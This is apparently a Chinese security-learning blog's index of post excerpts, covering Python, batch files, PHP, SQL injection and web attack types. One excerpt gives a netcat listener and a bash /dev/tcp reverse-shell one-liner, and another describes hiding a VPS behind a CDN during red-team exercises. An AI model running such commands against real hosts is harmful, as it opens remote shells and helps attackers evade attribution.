摘要：
很久之前，就发现这位大佬的博客干活很多，很好，但是不知怎么的，一直拖着没去学习，收藏了很多博客，还是没怎么去学，总是没学完一样，就去弄另一样，故此，需要静下心来去学习，所有的博客皆为学习之中的笔记，有些的基本和原文差不多，手打笔记，参考链接就不再添加了，没有什么原创内容，比较菜，所以现在学习为主，记 阅读全文
摘要：
列表（list） 列表是python中的一个对象 对象（object）就是内存中专门用来存储数据的一块区域 列表可以保存多个有序的数据 集合元素之间无序，每个元素唯一，不存在相同元素 集合元素不可更改，不能是可变数据类型 S.addr（x）如果x不在集合中，将x增加到S S.discard(x)移除 阅读全文
摘要：
很久之前做的笔记了，一直放在notepad++里，放到随笔里 不容易丢 bat批处理 start 打开cmd @echo off 不显示执行过程 建议放置在首行 attrib +h +a +s 给文件加属性 h隐藏文件 a只读 s受保护的系统文件 :后加任何符号表示块 使用goto跳转区块 例： : 阅读全文
摘要：
利用Domain+CDN隐藏VPS真实IP 引言 在攻防演练中，目标在内网cs上线如果不做任何防护，自己的VPS很容易泄露IP，我们利用简单的域+CDN来做一个简单的隐藏，增加防守溯源的一些难度。 正文 CDN的基本原理是广泛采用各种缓存服务器，将这些缓存服务器分布到用户访问相对集中的地区或网络中， 阅读全文
摘要：
PHP中的全局变量global和GLOBALS的区别 1、global global的作用是定义全局变量，但是这个全局变量不是应用于整个网站，而是应用于当前页面，包括include或require的所有文件。但是在函数体内定义的global变量，函数体内可以使用，在函数体外定义的global变量不能 阅读全文
摘要：
提权以及反弹shell netcat反弹shell kali中使用nc(netcat)进行监听 用法 : nv -lvvp 2333(端口号) 靶机中使用 bash -c 'bash -i >&/dev/tcp/192.168.1.1/2333 0>&1' 同样可以写成一句话木马进行反弹shell。 阅读全文
摘要：
SVN源码泄露漏洞 SVN(subversion)是源代码管理软件，造成SVN源代码漏洞的主要原因是管理员操作不规范。在使用SVN管理本地代码过程中，会自动生成一个名为.svn的隐藏文件夹，其中包含重要的源代码信息。但一些网站管理员在发布代码时，不愿意使用”导出“功能，而是直接复制代码文件夹到WEB 阅读全文
摘要：
攻击类型 针对前端（客户端）的攻击：钓鱼，暗链，xss，点击劫持，CSRF，URL跳转等问题 针对后端（服务端）的攻击：SQL注入、命令注入、文件上传、文件包含、暴力破解等问题 HTML DOM DOM 是树结构 DOM本质：连接WEB页面和编程语言 可以更直观了解页面元素 最重要的是使用JavaS 阅读全文
摘要：
SQL注入详解 据不完全统计，国内网站ASP+Access或SQLServer占70%以上，PHP+MySQL占20%。 一般asp+access组合比较多，aspx+mssql(SQL Server)组合比较多 查询关键词 查询中用到的关键词主要包含六个，并且他们的顺序依次为selcet--fro 阅读全文
摘要：
URL中的"#"、"?"、"&"号的作用 1、# 一、#的含义 #代表网页中的一个位置，其右面的字符，就是该位置的标识符。比如http://www.example.com/index.html#print就代表网页index.html的print位置。浏览器读取这个URL后，会自动将print位置滚 阅读全文